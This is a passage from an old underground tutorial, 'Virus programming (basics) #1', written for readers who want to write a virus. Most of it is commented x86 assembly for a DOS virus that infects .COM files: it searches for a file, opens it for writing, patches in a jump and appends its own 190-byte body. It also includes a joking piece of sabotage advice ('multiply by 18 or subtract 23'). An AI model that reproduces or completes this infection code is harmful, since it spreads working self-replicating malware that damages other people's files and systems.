

## Virus programming (basics) #1...

-----  
This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!.

Well, if you meet these requisites, keep reading this article....

```
JE    READ
JNE   FUCK_YOU!
```

READ:

The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files....

The functional logic of a virus is as follows:

- 1- Search for a file to infect
- 2- Open the file to see if it is infected
- 3- If infected, search for another file
- 4- Else, infect the file
- 5- Return control to the host program.

The following is an example of a simple virus:

```
;*****
;                               START OF THE EXAMPLE:
;*****
;Warning, this example is a (piece of shit?)
;- The virus does not test for prior infection
;- it searches only for the first .COM file in the current
;  directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory. If we later run the newly infected file, it will find
; the first file in its directory, itself. Thus, it will re-infect
; itself over and over.
;=====CODIGO=====
;(The variables in a .COM file are relative to offset 100h).
```

```
codigo segment 'code'
    org 100h                ;Organize all the code starting
                           ; from offset 100h
    assume cs:codigo,ds:codigo,es:codigo    ;Define the use of the
                                             ;segments

start  proc far            ;Start the routine
COMIENZO:
    push    cs             ;Store CS
    push    cs             ;Store CS
                           ; once again.
    pop     ds             ;Bring DS out from stack
    pop     es             ;Bring ES out from stack

    call    falso_proc     ;Call proc. so that its
                           ; address is placed in the stack
falso_proc  proc near
```

```

falso_proc      endp

        pop      bp                ;BP<== Proc. address.
        sub      bp, 107h          ;BP<== BP - Previous directory

;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file. At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0; when I call a variable
; with "BP+VARIABLE" the value of the variable's address is not
; modified. When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.

;Find the first .COM file in the directory
-----
        mov      ah, 4eh           ;Search for the 1st file
        lea      dx, bp+file_inf   ;DS:DX= offset of FILE_INF
                                        ;(*.*) so it will search all
                                        ;the files, including directory
                                        ;names with extensions.
        mov      cx, 0000h        ;Entry attributes
        int      21h

;These attributes mentioned in the commentary are the directory's
; entry attributes. When I set the attributes to 0, I'm telling
; DOS to search normal files. If I include a bit combination which

; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files. If the search range includes the Volume bit, the search
; is limited to that.

;These are the bits which correspond to each attribute:
;Bits:   7 6 5 4 3 2 1 0
;        . . . . . 1          Bit 0: Read only
;        . . . . . 1 .        Bit 1: Hidden
;        . . . . . 1 . .      Bit 2: System
;        . . . . 1 . . .      Bit 3: Volume
;        . . . 1 . . . .      Bit 4: Directory
;        . . 1 . . . . .      Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".

;Open file
-----
        mov      ah, 3dh           ;Open the file.
        mov      al, 00000010b     ;read/write.
        mov      dx, 009eh        ;DX<== DTA(filename) offset
        int      21h              ;put the handle in AX
        push     ax                ;and store in stack.

;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes. We are only interested in the
; first 3 bits,

;bits 2 1 0:
;
;   0 0 0          Read only mode

```

```

;      0 0 1      Write only mode
;      0 1 0      Read/Write mode
;
;OK, we now have the file attributes stored in AL.  What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIIZ chain with the name of the file to be
; opened.  In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area).  I
; we have it in the DTA.....  Why?  Simply because when we search
; for a file to infect, all the information we need is returned to
; this memory area.  This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
; in size.
;
;The DTA format is as follows:
;
;Offset      Bytes      Function
; 00h        21d        Used by DOS for the 4fh service
;              (search for the next file)
; 15h        01d        Attributes of the file that's been found
; 16h        02d        File time
; 18h        02d        File date
; 1Ah        04d        File size in bytes
; 1Eh        13d        File name in an ASCIIIZ chain
;              (FILENAME.EXT),0
;
;Well, all that remains to be done is to give DX the position in
; memory where I've stored the filename:  "MOV DX, 1Eh" and it's
; done.  But careful now, remember that DTA starts at offset 80h,
; which means I have to pass to DX the value "80h+1Eh = 9Eh".  That
; would then leave "MOV DX, 9Eh"; the problem is solved.  Now you
; are probably asking yourselves what I mean by "handle".  The handle
; is a number which tells DOS which file we want.  DOS gives us a
; handle for each file we open so we have to be careful to have the
; correct handle for each file which we read/write.
;Read the first 3 bytes.
-----
    pop     bx                ;I take the handle from the
                            ;stack to BX
    push    bx                ;and I store it again.
    mov     ah, 3fh           ;Read file.
    mov     cx, 0003h         ;Read 3 bytes.
    lea     dx, bp+buffer     ;and store in the buffer.
    int     21h

INFECTAR:                        ; (infect)
;Move pointer to the start.
-----
    mov     ax, 4200h         ;I move the write pointer
                            ;to the beginning of the program
    mov     cx, 0000h
    mov     dx, 0000h
    int     21h

;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
; AL <== 00 Move pointer to the beginning of the file.
; AL <== 01 leave pointer where it is.

```

```

; AL <== 02 Move pointer to end-of-file.

;Write the first byte (jmp)
-----
mov     ah, 40h                ;write the first byte.
mov     cx, 1d                 ;Quantity=1.
lea     dx, bp+jump           ;DX<== JUMP offset
int     21h

;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for
; the jump is below). What follows the jump is the address of the
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.

;Calculating file length
-----
mov     cx, 2                  ;Copy 2 bytes.
mov     si, 009ah              ;SI<== DTA offset
lea     di, bp+longitud        ;DI<== File LENGTH offset.
rep     movsb                  ;Copy.

;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this
; case, I copy the file length of the DTA to the variable
; 'LONGITUD').

        sub     word ptr [bp+longitud], 3      ;subtract 3 bytes from
                                                ;[LONGITUD]

;The JMP is completed
-----
mov     ah, 40h                ;Write.
mov     cx, 2d                 ;Number of bytes.
lea     dx, bp+longitud        ;DX<== LONGITUD (length)
                                                ; offset
int     21h

;Move pointer to end
-----
mov     ax, 4202h              ;Move the write pointer to the
                                ;end of the program.
mov     cx, 0000h
mov     dx, 0000h
int     21h
add     word ptr [bp+longitud],3 ;Restore LONGITUD.

;Copy the virus to the program.
-----
pop     bx                      ;Restore the handle.
mov     ah, 40h
mov     cx, 190d               ;number of bytes to copy.
lea     dx, bp+comienzo        ;Start copying from....
int     21h

```

